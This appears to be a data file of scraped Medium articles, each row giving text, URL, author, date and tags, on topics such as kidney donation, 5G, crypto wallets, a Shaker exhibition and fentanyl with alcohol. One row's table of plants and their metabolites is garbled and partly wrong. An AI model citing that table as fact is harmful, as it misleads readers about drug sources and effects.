Her family has been there every step of the way and has been amazed with how she has handled herself.
“She’s really held it together through the whole process. She doesn’t really let it get to her,” her brother Eric said.
Eric is enrolled at Rowan University, where he attempts to balance his schoolwork with being there for his little sister.
“It has definitely been tough having to juggle my schoolwork with having this in the back of my mind constantly,” he said.
Luckily for him, their mother Lori created a Facebook page to keep everyone posted on the status of Jamie’s search for a kidney. The “finding Jamie a kidney” page has received hundreds of inspirational posts from people in the community sending Jamie their best wishes.
Those wishes almost came true in February when news was confirmed that an aunt from Southern California was identified as a match.
She met all of the rigorous criteria required, and the transplant surgery was scheduled.
However, the night before the surgery, the family was contacted and notified that something had come up and the two were not compatible.
“That was a big hit to everyone,” Eric said.
The goal is to complete the transplant surgery before the summer is over and have Jamie pursuing her dream of becoming a nurse at Stockton in the fall 2017.
“It’s a helpless feeling knowing she hasn’t gotten to experience what I have at college,” Eric said. “It’ll be really good for her when she finally gets to go. I can’t wait for that day.”
Eric said he’s been amazed with how knowledgeable his sister is when it comes to the disease and everything she has going on health-wise.
“Waiting at the hospital has influenced her to one day be a nurse,” Lori said. “She wants to use this knowledge to help other people.”
Anyone with Type O Positive blood is encouraged to contact Penn Medicine’s Living Kidney Donor Department by visiting www.pennmedicine.org or by reaching out to the family directly through the Facebook page, www.facebook.com/findingjamieakidney. | https://medium.com/the-medford-sun/shawnee-graduate-has-dreams-put-on-hold-cff66e9444c0 | [] | 2016-12-19 15:56:24.883000+00:00 | ['Schools', 'Headlines', 'Shawnee High School', 'Dialysis'] |
How Will Cities Pay for 5G? Ask Facebook. | Photo by Jack Sloop on Unsplash
5G is coming.
5G is the fifth generation of wireless networks. It’s significantly faster than current 4G networks, but the reason that 5G is important is not just so we can all watch Tiger King over and over on our phone or scroll endlessly through Facebook. It’s going to be essential to handle the massive increase in global mobile traffic that is expected in the next few years. Some estimates suggest that there will be over 5 times the mobile traffic in 2024 that there is today. 5G will be required to support that traffic.
But there’s another reason that 5G will be important: it will enable cities to be able to become Smart Cities.
What are smart cities?
Smart Cities are basically cities that use technology to make planning and service delivery more efficient. The idea is that if you have a bunch of data about how resources are used or the behavior of people in the city, you can create a better functioning, safer city.
For example, you can imagine a city that uses information about traffic and congestion to make traffic light wait times more efficient. Or, smart garbage disposal sites that send a signal when they are full, making disposal services more efficient. Information about water usage, electricity usage, and how people move throughout a city can also be used to inform policies and projects.
Barcelona is already using this kind of technology to tell citizens where there are open parking spaces. Stockholm, Amsterdam, and Copenhagen, also each have smart city projects under development.
At its core, smart cities rely on data to help make more effective administrative decisions. This data comes from sensors throughout a city that are connected over the Internet.
Which brings us back to 5G: these types of large scale city design changes are possible, but only if they are supported by a suitably fast wireless network. The current networks would not be able to support these Smart City projects on a broad scale — but 5G networks could.
Cities are therefore trying to build or facilitate the infrastructure needed for 5G networks, not only because they will be necessary to make those cities competitive, attract businesses, and give users the ability to download movies in seconds, but also because it is necessary to support a Smart City vision.
If 5G is so important, why is it taking so long to get?
Because it’s expensive.
5G networks are much faster than 4G, but the frequencies are also much higher — they’re between 24 and 72 GHz on a 5G network. What that means is that the signals don’t reach very far and they are easily blocked by trees, buildings, and other landscape features.
To have the same kind of coverage that is possible with 4G networks, there would have to be many more cell towers. For cities and wireless companies, that means building a lot more infrastructure and laying way more fiber optic cable. And this is really expensive.
Enter Facebook.
Facebook seems to be expanding into every area of tech life (including getting into the cyber currency business), so it may not come as a surprise to you that they have also been working several projects to improve internet access. Their solution to the 5G infrastructure problem is a project called Terragraph.
The solution they propose is to attach small cells to existing buildings and infrastructures that connect networks wirelessly. The small cells can be placed between existing cell towers. They act as intermediaries, connecting the cell towers to users, and extending the reach of those towers.
Over long distances, this small cell wireless technology might not work very well. But as a “last mile” step between existing cell infrastructure and users, it’s able to deliver very fast service. And since the small cells can deliver data and connectivity from the cell towers to users wirelessly, they eliminate the need to lay more fiber optic cable, significantly cutting the cost of infrastructure.
Facebook is not the only player in this game. At least a few other companies are also beginning to prototype similar “last mile” small cell technologies.
This may be a good thing — while kind of infrastructure will be useful, there may be some legitimate privacy concerns about the company providing internet connectivity also having access to so much personal information about us through our online profiles.
What does this all mean for us?
5G will be coming, one way or another. But with this new small cell technology, it may get to us a little quicker and with a much lower price tag attached.
This is good news. Many Americans still don’t have access to broadband. The appearance of 5G will likely begin in the biggest cities, and may not be accessible to most Americans for many years. But the less expensive it is to build the infrastructure, the quicker people are likely to have access to it.
Ultimately, 5G networks will mean much faster speeds and reduced latency for users who have access to it. For business, it may mean an improved ability to innovate. And for cities, it means the potential to begin to create smart systems that improve service systems. | https://medium.com/social-science/how-will-cities-pay-for-5g-ask-facebook-a97db6f7b786 | ['Ramsay Lewis'] | 2020-05-02 21:17:52.646000+00:00 | ['Technology', 'Cities', 'Science', 'Internet of Things', 'Future'] |
20 medicinal plant species used for the production of secondary metabolites | 20 medicinal plant species used for the production of secondary metabolites
Plants play a dominant role in the introduction of new therapeutics agents and also drugs from the higher plants continue to occupy an important niche in modern medicine. Pharmaceuticals companies depend largely upon materials procured from naturally occurring strands that are being rapidly depleted because of the use of parts like roots, barks, wood, stem, and the whole plant in the case of herbs. This poses a definite threat to the genetic stocks and the diversity of medicinal plants.
Plant tissue culture is an alternative method of propagation and is being used widely for the commercial propagation of a large number of plant species, including many medicinal plants.
For some years, there has been great interest in the exploitation of plant cell cultures to produce fine chemicals. Plant material enriched in secondary metabolites is produced in tissue culture under conditions that organogenically produce a proliferation of shoots and leafy materials and harvesting the leafy material and shoots while in a green, actively -growing, organized, ‘hairy’ root cultured following the genetic transformation of plants with Agrobacterium rhizogenes may revolutionize certain areas of plant cell biotechnology for the production of plant secondary metabolites.
Plants like Origanum vulgare, Saussurea obvallata, Ocimum sanctum, Cedrus deodara, Cydnodon dactylon, Aegle marmelos, Juniperus communis, Musa paradissica, and Ficus religiosa are some of the examples of medicinal plants of immense importance propagated through tissue culture.
For particular interest in plant materials that produce alkaloids, especially material from poppy that will yield economically attractive levels of morphinan alkaloids, particularly thebaine.
Plant species and secondary metabolites obtained from them using Tissue Culture Techniques and their Activity:
1.Catharanthus roseus Product Activity
Antileulkaemic Antiarrhythmic Tranquilizer
2.Chrysanthemum cinerariafolium Product
Pyrethrin
Activity
Insecticide ( for grain storage)
3. Cinchona officinalis Product
Quinine
Activity
Antimalarial
4. Digitalis lanata
Product
Digoxill Reserpine
Activity
Cardiac tonic Hypotensive
5. Dioscorea deltoidea
Product
Diosgenin
Activity
Antifertility
6. Jasminum sp.
Product
Jasmine
Activity
Perfume
7. Papaver somniferum Product
Morphine
Activity 8. Papaver bracteatum Product
Codeine
Activity
Analgesic
9. Thaumatococcus danielli
Product
Thaumatin
Activity
Sweetener
10.Datura stramonium
Product
Scopolamine
Activity
Antihypertension
11. Atropa belladanna
Product
Atropine
Activity
Blocking of cholinergic
12. Coptis japonica
Product
Berberine
Activity
Antibacterial
13. Campatotheca accminata
Product
Camptothecin
Activity
Anticancer
14. Nicotiana tabacum
Product
Nicotine Glutathione Ubiquinone
Activity
Ganglion blocker Cardiovascular agent
15. Coleus blumei
Product
Rosamarinic acid
Activity
Spice Antioxidant
Activity 16. Morinda citrifolia
Product
Anthraquinones
Activity
Laxatives Dyes
Activity 17. Glycyrrhiza glabra
Product
Glycyrrhizin
18. Cephalotaxus harringtonia
Product
Cephalotaxine
Activity
Antitumor
19. Lithospermum erythrorhizon
Product
Shikonin
Activity
Dye Pharmaceuticals
Activity 20. Stevia rebaudiana
Product
Stevioside
Activity
Sweetener
Plants can be regenerated and mass propagated in vitro either by shoot morphogenesis or somatic embryogenesis.
Many traditional medicinal herbs have been successfully regenerated and various components are extracted from Taxol, a complex diterpene alkaloid found in the bark of Taxus tree, Latex from the opium poppy, primary bioactive constituents of ginseng are ginsenosides, a group of triterpenoid saponins, Berberine is an isoquinoline alkaloid found in roots of Coptis japonica, Danshen ( Salvia miltiorrhiza ), a well known traditional;l medicine, Podophyllotoxin is an antitumor aryltetralin lignan found in Podophyllum peltatum possess tremendous importance to the pharmaceutical industry. | https://medium.com/illumination-curated/20-medicinal-plant-species-used-for-the-production-of-secondary-metabolites-b1b31b984c04 | ['Kiranjeet Kaur'] | 2020-12-29 16:15:34.232000+00:00 | ['Useful Medicinal Plants', 'Biotechnology', 'Secondary Metabolites', 'Medicinal Plants', 'Plant Tissue Culture'] |
Felix Peltier — What all to Consider While Buying a Property | Felix Peltier — What all to Consider While Buying a Property
Buying a property is already a huge step that can put you in financial compromise for a long time. Purchasing property means getting bound by the economic crunch and getting the space developed soon. Like family planning is a proven and successful concept, property planning also falls in the same category. You cannot hold property in your name without giving it a comprehensive thought.
You can get in touch with the best property consultants and developers like Felix Peltier to understand the field profoundly and then make a thoughtful decision.
Things to consider when buying a property:
1. Budget is the foremost concern that pins you when it comes to collecting an expensive asset.
2.The next thing to consider is the location of the property. You should study the market and decide your potential location considering a few applicable attributes.
3. One most important factor to consider is connectivity and transportation facilities. These are the two inevitable factors you should consider before deciding on the property.
4. Social infrastructure should be taken into serious consideration when deciding on buying a property. It is hard to sustain in an environment with inadequate social infrastructure facilities.
The process is daunting yet exciting. Get in touch with Felix Peltier to get valuable insight into property purchase and development. | https://medium.com/@felixpeltier.uk/felix-peltier-what-all-to-consider-while-buying-a-property-431b73082aea | ['Felix Peltier'] | 2021-12-10 07:22:23.952000+00:00 | ['Felix Peltier', 'Property Development', 'Property', 'Buy', 'Sell'] |
a poem written in art class | Each one of us could draw a window;
carbon lines to build a frame.
The bricks, the glass, the sash, the sill —
no two of them would be the same.
We shade and shadow,
smudge and blend;
this class, this day, this year will end.
We did our best;
He knows how hard we pressed,
but we’ve all got different hands to lend.
The same Hard Black, between finger and thumb
makes a different mark for everyone.
Each of us is trying to escape
through a graphite window that our pencils make.
© Amy Knight 2020 | https://medium.com/paper-poetry/h-b-ab0675083338 | ['Amy Knight'] | 2020-12-22 23:04:13.076000+00:00 | ['Paper Poetry', 'Art', 'Lockdown', 'Poetry On Medium', 'Poetry'] |
Cryptocurrency wallets 101, A Cryptosuss guide to wallets for digital assets | Okay, so you have just purchased some cryptocurrency on an exchange and now you want to secure it in your own wallet.
If you’re not already familiar with Bitcoin and crypto assets, check out our introductory guide to Bitcoin first.
So, what is a cryptocurrency wallet? There are many options for securing your crypto assets and we will break them down into a number of categories. But first, what exactly is a wallet? A cryptocurrency wallet is a software programme that is used to store, send and receive one or many cryptocurrencies. Many coins will have their own official wallets that you can download and use while other wallets are used to store records of multiple cryptocurrencies all in one place.
So how does a cryptocurrency wallet work?
Unlike traditional wallets you use for your cash and cards, a cryptocurrency wallet do not actually “store” any of your currency. Your wallet actually stores your public and private keys, which link back to transactions stored on a blockchain. When you make a transaction with a cryptocurrency on a blockchain you are essentially signing off ownership of the coins to your wallets address, and new ownership is being assigned to someone else’s. All these transactions are recorded on the blockchain and are publicly viewable. In this way, cryptocurrency wallets are not really anonymous, but more so pseudonymous, as while your identity will not be attached to a particular transaction, your public key will be.
What are the types of cryptocurrency wallets?
For the most part, cryptocurrency wallets can be broken down into three main categories; software wallets, hardware wallets and paper wallets.
1. Software Wallets
Software wallets are like those we have mentioned above. They can be desktop wallets on your computer, mobile wallets on your smartphone, or even custodial wallets on an exchange.
Desktop Wallets are wallets you download and store on your PC or laptop. You control the public and private keys and the wallet is accessible only on the device where the wallet resides. Some desktop wallets will be specific to one cryptocurrency while others like Exodus or Jaxx will hold multiple currencies in the one wallet.
Mobile Wallets run on your smartphone and can be downloaded from the App store on IOS or from Google play on Android. Naturally these will be more accessible and easier to carry around on a daily basis than a PC or laptop. Most stores that accept cryptocurrency payments will use QR code scanning on your smart phone wallet to carry out transactions. Both Exodus and Jaxx are also supported on IOS and Android devices.
Custodial wallets or ‘online’ wallets are run on the cloud and are accessible from anywhere using any device. While these are probably the most convenient way to store funds, your private keys are controlled by the custodian where your funds are being held. Most online cryptocurrency exchanges are examples of custodians who keep your funds and control your private keys. Keeping funds on an exchange puts trust in this third party. You should always use two factor authentication (2FA) when setting up online exchanges.
2. Hardware Wallets
A hardware cryptocurrency wallet is literally a hardware device that is built to hold and keep secure your cryptocurrency funds. When connected to a computer, these devices can go online to make transactions and gather data. Once disconnected, they can store your funds offline for security and ease of transportation.
Hardware wallets tend to be more secure than software wallets as you are storing your funds offline and away from potential hackers. While you may want to keep funds on a software wallet for ease of use and to move it around more frequently, hardware wallets are great for storing large amounts of crypto that you don’t need to move that often. The Ledger Nano S and the Trezor are two of the most popular hardware wallets. Both have multi-asset support and are relatively straightforward to get set up and running.
The Ledger Nano S Hardware Wallet
3. Paper Wallets
Paper wallets are the most secure and hacker proof form of wallet that you can use. A paper wallet acts as a cold form of storage as it is not connected to the internet. Paper wallets can also be quite useful for crypto beginners. They act as a way of storing your crypto that is somewhat similar to the fiat and cash that most people are used to handling. Even some of the largest exchanges like Coinbase keep large portions of their reserves offline in hardware and paper wallets.
A paper wallet literally involves printing out your public and private keys on a piece of paper and then storing it in a secure location. With a paper wallet, you have the luxury of not worrying about hackers getting into your software or hardware wallet. Paper wallets are not without their own set of risks though, subject to damage from water and the elements is always possible so keeping it safe and secure and keeping an extra copy in another secure location can be savvy.
Taking security one step further, you could create a mnemonic key for your bitcoin wallet. A mnemonic key is a list of words which store all of the information needed to recover a bitcoin wallet. Creating this 12 word phrase and memorising it means that you could store the entire value of all your bitcoin in your head. The best way to create this phrase is to allow a software programme generate a random 12 word string that will be much more secure than a human generated random string.
In conclusion
As the great Andreas Antonopoulos says, unless you control your private keys, you do not fully control your cryptocurrency assets. However, as he also often reminds us; with great power comes great responsibility. It is always important to secure your crypto assets in a safe and secure manner. It is your own responsibility to ensure the security of your private keys by whichever of the above methods mentioned. Employing a proper risk management strategy is paramount. Spreading your assets across multiple forms of storage, rather than keeping them all in one place is probably wise. | https://medium.com/cryptosuss/cryptocurrency-wallets-101-a-cryptosuss-guide-to-wallets-for-digital-assets-7670e678b853 | ['Crypto Suss'] | 2018-07-11 19:43:55.700000+00:00 | ['Crypto', 'Bitcoin', 'Blockchain', 'Cryptocurrency', 'Bitcoin Wallet'] |
Mazzurati and His Journey to the Top! | Picture of the artist.
Mazzurati, a rapper who started his music journey back in 2008, is on a journey to the top. Inspired by artists such as; Wiz Khalifa, Talking Heads Eminem, and Outkast, this artist is definitely one to look our for.
Mazzurati said that he started music “writing raps and performing them in 5th grade, did that all the way through high school without ever recording on a mic. The year I left high school I hopped into a studio in my homies basement and never looked back.”
Right now, Mazzurati has gained 20,000 streams throughout his career, which is something to be proud of.
In 5 years, he says that he sees himself in a completely different lifestyle. He sees himself living in a new place with his financials all in order. He sees myself starting to be a cemented figure in the entertainment world. Lastly, he also sees himself being able to help people in the same field as well as his close loved ones.
Go check Mazzurati out, his latest song is named “Spanish Food”
@mazzurati | https://medium.com/@ontherise/mazzurati-and-his-journey-to-the-top-849997e1017a | [] | 2020-12-14 17:51:55.014000+00:00 | ['New Music', 'Artist', 'Rap', 'Rapper', 'Hiphop'] |
Shaker Museum’s “In Community” Temporary Exhibition | The Shaker Museum’s temporary exhibition Shakers: In Community examines the different ways in which the Shakers forged equitable and inclusive communal bonds. This exhibition was one of many ideas generated during an 18-month exploration into the Shaker Museum and its 18,000 items in its collection (considered to be one of the world’s most comprehensive holdings of Shaker objects and archives). The Shaker Museum’s collections have been without a permanent home since its galleries closed in 2009.
In a Press Release, Shaker Museum Director Lacy Schutz stated, “Shakers: In Community is a reflection of the Museum’s mission to present the important and timely values of Shaker culture — community, inclusion, and equality — through objects from its collection. We are excited that this exhibition can serve as a small preview of how the Shaker Museum will be able to engage and contribute to our community in Chatham.”
Who Were the Shakers?
Shakers were early advocates of gender equality, welcomed African Americans, practiced pacifism, and put community needs above those of the individuals. Shakers believed that society could be perfected through communal living, gender, and racial equality, pacifism, confession of sin, and separation from the world.
“When we think about Shakerism, we often think about these broadly practiced systems of belief and work ethic where you really have this diligence and real commitment to living in a perfect way,” said Maggie Taft, Curator of Shakers: In Community. But Taft notes that Shakers are still people and people aren’t always so perfect. “One of the goals of this temporary exhibition is to show not only how Shakerism was a lived practice but that people struggled and strayed within the lack of an individual identity.”
Elder Daniel Offord addressing the Salvation Army Band who were visiting the Shakers. Among the Shakers is a person of color. “We know that Shakers all over the country had members of color, there were not many of them nor not a lot known about them, but to see this photographic evidence of this multiracial shaker community is fantastic,” Maggie Taft, Curator. From the Shaker Museum Collection
Shaker Museum and Community
“This pop up exhibition was designed to be a way to reintroduce the Shaker Museum Mount Lebanon to the community, to introduce the community to Shakerism, and give the community a first look and reacquaint people with the museum’s collection,” said Taft. “Before this, the collection has not been widely available to the public, only through private appointments.” The idea for this exhibition began during an 18 month project funded by the Henry Luce Foundation’s Theology Program to explore Shaker art, design, and religion in partnership with the Shaker Museum. Artists, scholars, and museum professionals gathered to investigate these intersections within the Shaker context. “This exhibition is just a sliver of one of the ideas that emerged from this project that was possible and potentially uniquely productive given the current circumstances,” said Taft.
During these 18 months, the group explored the Museum collection and spent time thinking about and discussing how to incorporate the values and spirit of the Shakers into the Museum’s mission and programming. “There was a lot of talk about what a Shaker Museum could be,” said Taft. “This questions emerged from the fact that the Shaker Museum is an institution that has existed for a long time, has an incredible collection of Shaker objects, artifacts, and archives which in some ways is the best in the country not only because of its volume but the Shaker Museum has objects from Shaker communities all over the country, not just one specific site.”
Wheelchair made from a modified rocking chair. From an iconic object, the Shaker rocking chair, you can see the wheels that have been added in order to make space in the Shaker community for people with different abilities.
Another goal for this exhibition was to start the conversation about what a museum can and should be in the 21st century. “How can a museum be not only a place to be educated but a place to develop connections to really interact with and learn from and teach to,” said Taft.
Museum for the Future
The Shakers were constantly working towards the idea of an equitable community and since Shakerism was something that people were not born into but rather opted in, there were always new people entering the community. “The Shaker community needed to navigate how you produce and operate and sustain this kind of community, and one way was constantly inviting people in,” said Taft. “As we are thinking about what a museum can be- an equitable space that anybody can participate in, which is what we wish and hope for, the reality is that there are lots of people who do not necessarily feel comfortable in those spaces.”
As the museum opens this temporary exhibition and looks toward the future with its new permanent building, staff is thinking about how a museum can reconsider how it operates so that it has more equitable and inclusive spaces. “This is happening not only in the kinds of objects that are on view but also the kinds of voices that are participating in public programs, in gallery tours, and all the activity that makes up a museum,” said Taft.
Taft and Shaker Museum Director Schutz asked what it would look like if you brought in other voices, not just experts outside of museums, but children or people who collect Shaker objects or people who were interested in alternative ways of living, similar to the Shakers. What if you brought them into the collection to look at the objects and asked them to identify what was interesting to them. What different kinds of thematic ideas would you find and what if you got these people talk to each other. “It’s an opportunity to see these historical objects in new ways,” said Taft.
This idea was part of the original discussion about programming around this exhibition pre-COVID, and now with social distancing in place, will have to be altered. “We are now asking what does the community look like when people cannot be close to each other and cannot share indoor space with each other. How do we still have these conversations? More work needs to be done.”
“The one thing that I hope this exhibition emphasizes is the way in which history is not simply something that is in the past, but history is something that was lived,” said Taft. “When we are talking about the Shakers, we are talking about people who were wrestling with the world as it was and how to be in that world…committing and struggling with what it meant to be a Shaker. It can be hard to access when we are thinking about historical periods or people or religious groups and even harder to access the individuals who made up these groups.”
The Shaker Museum is currently creating a new permanent home in Chatham, NY. The Museum expects renovations to be completed by 2023. A $1,569,000 grant from the Empire State Development through New York State’s Regional Economic Development Council initiative will help support the building’s transformation into a museum and community cultural center.
Shakers: In Community is on view Fridays, Saturdays, and Sundays 11 AM to 6 PM until October 4. Tickets must be purchased in advance. | https://medium.com/@nysmuseums/shaker-museums-in-community-temporary-exhibition-3230afb5deb6 | ['Museum Association Of New York'] | 2020-09-02 14:49:10.198000+00:00 | ['Museums', 'History'] |
Why You Should Never Mix Fentanyl and Alcohol | Talk about making a bad situation worse. It’s widely known that mixing alcohol with any sort of medication — even harmless over-the-counter cough medications — can cause harmful adverse effects. When alcohol is mixed with fentanyl, a synthetic opioid that already has a deadly reputation on its own, it’s a combination that gets lethal fast. The interaction of these two drugs can cause dangerous slowing of the heart and respiratory systems leading to coma and possibly death. Scary stuff right? To fully understand why mixing fentanyl and alcohol is so dangerous, we’ll be taking a closer look into how each substance affects the body individually and how those side effects compound on one another when present in the system at the same time.
Fentanyl Overview
Fentanyl is a synthetic opioid analgesic that, like most other opioids, is used to help manage severe or chronic pain. It’s commonly used post-surgery, for individuals who already have a tolerance to other kinds of opioids. It’s 100 times stronger than morphine and 50 times more than heroin — a Schedule I drug. Its unrivaled potency is one of the reasons why fentanyl is one of the most addictive opioids in existence. This drug is available in a number of forms including lozenges, patches, and nasal sprays in addition to the usual pill or intravenous liquid.
There are a growing number of fentanyl analogs and derivatives made in clandestine manufacturing facilities. This illicit version is often even stronger than the medical-versions, and are therefore that much more dangerous. One of the biggest risks recreational drug users face is the increasing commonality of fentanyl being used to lace other drugs like cocaine and marijuana to unknowing users.
How Fentanyl Affects the Body
Fentanyl works as your typical opioid would, preventing pain messages from reaching the brain by occupying mu-receptors. Once occupied, these receptors cause increased levels of dopamine output which can lead to feelings of euphoria along with pain relief. Fentanyl also affects the central nervous system which can cause other side effects such as:
Lowered consciousness: sedation and drowsiness are common, but often ironically accompanied by restlessness, difficulty falling asleep, or full-on insomnia.
Cognitive impairment: basic motor functions and decision making-can be severely affected. This can also result in auditory, visual, or tactile hallucinations, delirium, or nightmares.
Neurological damage: A major factor in the development of tolerance. Damage to neurons and receptors can cause a myriad of physiological effects on the body such as muscle spasms and increased pain sensitivity.
Slowing of autonomic functions: Respiratory and gastrointestinal systems are disrupted to cause slowed breathing and digestional issues
How Alcohol Affects the Body
Alcohol is a depressant that mirrors several of fentanyl’s effects on the brain and central nervous system along with a host of side effects that are all its own. While fentanyl primarily disrupts the dopamine transmitter, alcohol also interferes with GABA, serotonin, and glutamate circuits. This causes impairment of motor skills, cognition, impulse control, and mood regulation, in addition to slowed breathing, heart function, digestion.
The Effects of Fentanyl and Alcohol
It is primarily this overlap in side effects that makes the combination of fentanyl and alcohol so dangerous. They both have a significant impact on the central nervous system, the effects of which are amplified when both substances are present in the body at the same time.
Low blood pressure and cardiac distress
Severely impaired memory or memory loss
Drowsiness or unconsciousness
Dangerously slow breathing
Hypoxia (which can lead to coma or death)
In addition to these dangerous physicological and psycoholgical effects, combining alcohol with another drug greatly increases the likelihood of developing an addiction and of incurring severe withdrawal symptoms.
Polysubstance Drug Abuse Dangerous — Get Help Now
Regularly using multiple drugs at once is known as polysubstance abuse. Besides exponentially increasing the risk factors of each individual drug, the side effects can compound, which makes them difficult to treat. The extent of dual sources of neurological damage often means that the chance of relapse is significantly higher.
In these instances, the use of medical detox treatments are recommended. During withdrawal, your body is shedding the effects of multiple drugs in a system at one time which can cause unexpected symptoms that require medical intervention. If you or a loved one find yourself addicted to multiple drugs at the same time, contact us today so that we can help you safely manage dual withdrawal symptoms. | https://medium.com/@amethystrecovery/why-you-should-never-mix-fentanyl-and-alcohol-9d2a3527b945 | ['Amethyst Recovery Center'] | 2021-03-05 16:01:25.123000+00:00 | ['Drug Abuse', 'Fentanyl', 'Alcohol'] |
‘The Twilight Zone’: ‘The Blue Scorpion’ touches on gun control and obsession | BY CHAUNCEY K. ROBINSON
Chris O’Dowd in “The Blue Scorpion”
Originally published at People’s World.
Editor’s note: A review and analysis of Jordan Peele’s “The Twilight Zone” episode nine. Spoilers ahead.
Jordan Peele’s The Twilight Zone is currently airing weekly on the streaming service CBS All Access. The ninth episode of the series, titled “The Blue Scorpion,” may be the most polarizing one, given the subject matter it subtly addresses. The story uses supernatural chills to put a spotlight on the topic of gun regulation and the obsession with firearms here in the United States. The messaging is not as overt as in previous episodes, save for Peele’s ending monologue, but through the main character’s journey the topic of gun legislation shines through, taking a shot (pun intended) at addressing why the issue is a divisive one in a number of ways.
The episode stars Chris O’Dowd (Get Shorty), Amy Landecker (A Kid Like Jake), and Adam Korson (Hot in Cleveland). It is directed by Craig William Macneill (Lizzie) and written by Glen Morgan (Final Destination 3). O’Dowd stars as Professor Jeff Storck, an anthropology scientist who discovers the body of his father, Otis, who has just committed suicide with a mysterious gun. Through a series of events, it would appear that the gun, named Blue Scorpion, has supernatural abilities, along with a single bullet that displays the name of the next person to be shot by it. The audience watches as Storck’s obsession with the Blue Scorpion grows while trying to figure out the gun’s next target.
This somber episode contains some comedic elements planted throughout so as not to be completely depressing. The opening scene gets the plot going quickly, as Jeff is on the phone with his wife who is pressuring him for a divorce he doesn’t want, right before he stumbles upon his father’s dead body. The bullet shot from the gun at the death scene has the name “Otis” printed on it, before it seemingly disappears. Once Jeff is given possession of the gun the main bullet now has the name “Jeff” on it, and from there the audience is made to wonder if the professor will suffer the same fate as his father.
The mystery of the episode goes beyond the expected Twilight Zone twist. None of the weird happenings are presented in a neat package. Some mysteries aren’t even explained by the end of the episode, which may frustrate some viewers while delightfully terrifying others.
O’Dowd is the driving force behind this episode. Most of the story is spent from Storck’s perspective as the viewer is made to witness his grief and bewilderment over his father’s death, his frustration with his wife, who has seemingly moved on with another man, and his sense of hopelessness. O’Dowd makes Jeff’s descent into a kind of madness-fueled love story with the inanimate object that is the Blue Scorpion believable, where it could have easily felt contrived and awkward.
The other interesting plot point is the fact that Jeff is a rather generic name, so as our Jeff sees his name printed on the magical bullet, he also meets a high volume of other Jeffs throughout the story. This heightens the sense of terror throughout the episode, as viewers are left wondering if they will have to witness a murder or a suicide.
This point brings us to the major theme in the episode, which is that of gun regulation and firearm obsession in our society. One may wonder what a magical gun made in Cuba during the socialist revolution (yay for the Che Guevara reference in the episode) has to do with the American obsession with guns, but there’s plenty in the story that lends itself to the debate.
Jeff is shown to be going through an unstable time in his life. Initially, he wants to get rid of the gun, but soon, as he wallows in his grief and helplessness, he comes to see it as a source of power and begins taking it with him to different events. There are a number of chilling moments, such as when he’s meeting with his wife and her attorney (also named Jeff), where it is clear he has the gun, and it is also clear that there is a chance that he may very well use it on others.
These moments, where Jeff may take his frustrations with the world out on others, are not far removed from instances of mass shootings, such as those last year alone. Scenes that involve Jeff’s estranged wife, and Jeff seemingly reaching for the gun, also leave room for the connection to the chilling fact that almost 50% of all murdered women are killed by romantic partners, and 54% of those murders are gun deaths.
Jeff may very well be obsessed with a magical gun, but his reliance on the gun — and the danger of him using it on others, especially given his demographic as a white male — is not extraordinary, nor confined to the Twilight Zone, as it may appear on the surface.
In the end, it is not our Jeff who is shot, but another Jeff who is a low-level criminal.
From there Jeff Storck’s life takes a turn for the better, as he’s seen as a hero in his town for killing the robber. He’s offered a higher position at work and is able to amicably separate from his wife. What subverts this seemingly happy ending is that Jeff had been outside his wife’s house that night, seemingly to kill her and her new lover (another Jeff). So a Jeff was indeed killed. Yes, he was a thief, but one could argue that didn’t exactly merit his death.
In the end, Jeff hurls the Blue Scorpion into the ocean, only for it to be found by two young boys who begin playing with it as if it were a toy. One of the boys notices the magic bullet even has his name on it. It’s clearly a tragic event waiting to happen, as accidental gun deaths involving children is a real issue, with at least 73 occurrences last year.
Peele’s ending speech leaves little mystery about the story’s view on gun control and obsession. The narrator notes, “Human beings have a funny way of treating things like people. But today, you’ll learn that as long as objects are valued more than lives, tragedy will forever be manufactured.”
Jeff was able to break away from his obsession with the Blue Scorpion, but its mystical power is only handed over to plenty of others in the U.S. In this country with an average of 88 guns per 100 people, 114,994 people are shot each year.
While not the best episode of the series, the story makes a respectable and bold choice of using supernatural elements to touch upon a very real issue plaguing our nation. | https://medium.com/peoples-world/the-twilight-zone-the-blue-scorpion-touches-on-gun-control-and-obsession-f33b74a54cf4 | ['Peoplesworld Social Media'] | 2019-06-02 19:11:53.767000+00:00 | ['Television', 'Analysis', 'Culture', 'Review', 'Guns'] |
What You Really Need to Know About Losing Weight in 2021 Will Shock You | One common factor needed for any fitness plan to work
No matter what fitness or diet plan you decide to take on, you need to follow one system for the plan to work. No matter what any fitness expert tells you, you need to be committed to the plan you are on.
In addition to eating a well-balanced meal, you need to have an exercise routine to help you burn off calories. You could be on a great diet whether it’s the Atkins diet, Keto plan, or intermittent fasting. You also need to have a good exercise plan to support this.
Sure, you may lose a few pounds initially from the meal plan you are on, but you need to exercise to help maintain the weight you lost. I have exercised for over 30 years, and your diet plays a key part. The two actually go together like a relationship.
Your diet needs a good exercise plan to support each other.
If your goal is to lose weight in 2021, then you need to exercise three to four times a week. Make time to exercise so you can meet your fitness goal.
You have to ignore all of the marketing these fitness gurus are selling you. Yes, the product they are marketing works, but you need to have a good exercise and meal plan.
Then you need to stay committed to the exercise plan. Once you get started, this could be the start of a great relationship between your diet and your exercise routine. Make this habit last.
Stay focused on your goal whether it is to lose 10 pounds or 50 pounds. You need to knock off the pounds week by week. You’ll be able to do this when you have a good exercise plan to help burn off the calories.
The New Year will be here before you know it. Figure out your goal and what you need to do to get there. It could be walking, running, watching an exercise video, buying your own fitness equipment, or heading back to the gym. There are so many options.
Once you are in shape, stay on your routine. This should not be a one or two month change but a life time change. Once you do this, you will enjoy the new you. Make 2021 the year you commit to your goal and make the life change you need.
Do you have a fitness goal for the New Year? | https://medium.com/illumination-curated/what-you-really-need-to-know-about-losing-weight-in-2021-will-shock-you-dfa8ed36960b | ['Tom Handy'] | 2020-12-29 16:18:44.764000+00:00 | ['Life Lessons', 'Exercise', 'Fitness', 'Food', 'Self Improvement'] |
A Bibliography for the Muslim Mind | Preliminary Musings
I have yet to find a proper bibliography that can equip believing Muslims to address the current issues of our time. Unfortunately, the best minds of the Ummah are too often caught up in the translations of medieval treatises without providing contemporary commentaries addressing the problems that are relevant to the lived realities of modernity. It seems that the Ummah’s intelligentsia is more interested in creating intellectual cliques of Ghazalian aesthetics than to address the ethical questions in the public square. This vacuum in the public square is filled by Muslims that have been formed by secular ideologies and often lacking an understanding of First Principles.
